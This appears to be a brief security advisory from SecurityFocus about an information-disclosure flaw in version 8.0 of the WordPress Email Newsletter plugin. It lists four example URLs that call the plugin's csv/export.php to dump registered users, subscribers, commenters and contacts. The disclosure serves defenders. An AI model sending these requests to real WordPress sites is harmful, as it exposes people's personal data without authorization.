source: https://www.securityfocus.com/bid/53850/info
The Email Newsletter plugin for WordPress is prone to an information-disclosure vulnerability because it fails to sufficiently validate user-supplied data.
An attackers can exploit this issue to obtain sensitive information that may aid in further attacks.
Email Newsletter 8.0 is vulnerable; other versions may also be affected.
http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=registered_user
http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=view_suscriber
http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=commentposed _user
http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=contact_user